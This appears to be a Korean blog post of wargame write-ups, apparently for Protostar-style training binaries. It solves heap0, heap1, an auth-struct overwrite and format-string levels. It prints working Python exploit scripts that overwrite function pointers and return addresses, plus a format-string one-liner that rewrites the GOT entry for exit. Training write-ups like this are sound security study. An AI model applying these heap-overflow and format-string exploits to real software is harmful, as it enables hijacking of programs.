auth->auth를 바꿔줘야합니다.

gdb로 까보니 auth->name은 eax(0x0804c008)에 저장이 되며, auth->auth는 eax+0x20의 위치에 존재했습니다.

service는 eax+0x10의 위치에 저장이 되었으며, 이로 인해 service 변수로 auth->auth를 덮을 수 있습니다.








이번에도 실행 흐름을 바꿔주는 문제네요.

그런데 함수를 따로 호출해주는 부분이 없습니다.

따라서 두 개의 strcpy를 이용하여 winner 함수로 분기를 시켜야하는데, 두 번째 strcpy에서 i2->name에 argv[2]를 저장합니다. 이 때, i1->name에서 overflow가 일어난다면, i2->name 부분의 주소를 임의로 바꿔 줄 수 있습니다. 이 말은, ret를 우리가 마음대로 주무를 수도 있고, got overwrite 또한 가능하다는 소리가 되겠네요.

저는 ret를 변경하는 것으로 풀이하였습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048494
system = 0xb7ecffb0
binsh = 0xb7fb63bf
ret = 0xbffffcac

payload = 'A'*20
payload += p(ret)

payload2 = p(winner)
print payload, payload2

heap1.py







이번에는 힙 오버플로우를 이용하여 다른 함수로 flow를 변경시키는 문제네요.

winner 함수를 호출하면 해결 되는 문제인 것 같습니다.



#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

winner = 0x8048464
system = 0xb7ecffb0
binsh = 0xb7fb63bf

payload = 'A'*72
payload += p(winner)

print payload

heap0.py


winner 함수의 주소를 구하고, d 구조체 뒤에 오는 f 구조체를 침범하도록 72바이트만큼 dummy byte를 덮어씌워주고 overwrite 해줍니다. 이 위치가 f 구조체의 fp 함수포인터의 위치입니다.






이번에는 함수의 흐름을 FSB로 바꾸는 문제입니다.

exit 함수를 hello 함수로 redirect 시키라고 하네요.



시키는대로 objdump -TR로 exit 함수의 코드 주소를 확인해봅니다.

근데 굳이 이 주소가 아니더라고 GOT를 덮어씌워도 될 것 같습니다.



hello 함수의 주소도 확인해봅니다.


포맷을 4번 출력했을 때 AAAA가 나타납니다.





exit : 0x08049724

hello : 0x80484b4(134513844)


134513844 - 20 = 134513824


(python -c "print '\x24\x97\x04\x08'+'%08x'*2+'%134513824x%n'") | ./format4





이번엔 target을 0x1025544로 바꿔야하네요. 값이 커졌습니다.

포맷을 총 12번 출력 했을 때 AAAA가 나옵니다.




16930116 - 84 = 16930032




이번에는 FSB를 이용해 target을 특정 값으로 바꾸는 문제입니다.



포맷을 총 4번 입력했을 때 우리가 입력한 AAAA를 찾아 낼 수 있었습니다.




4+8*2+44 = 64

값을 64로 바꿔줍니다.


+ Recent posts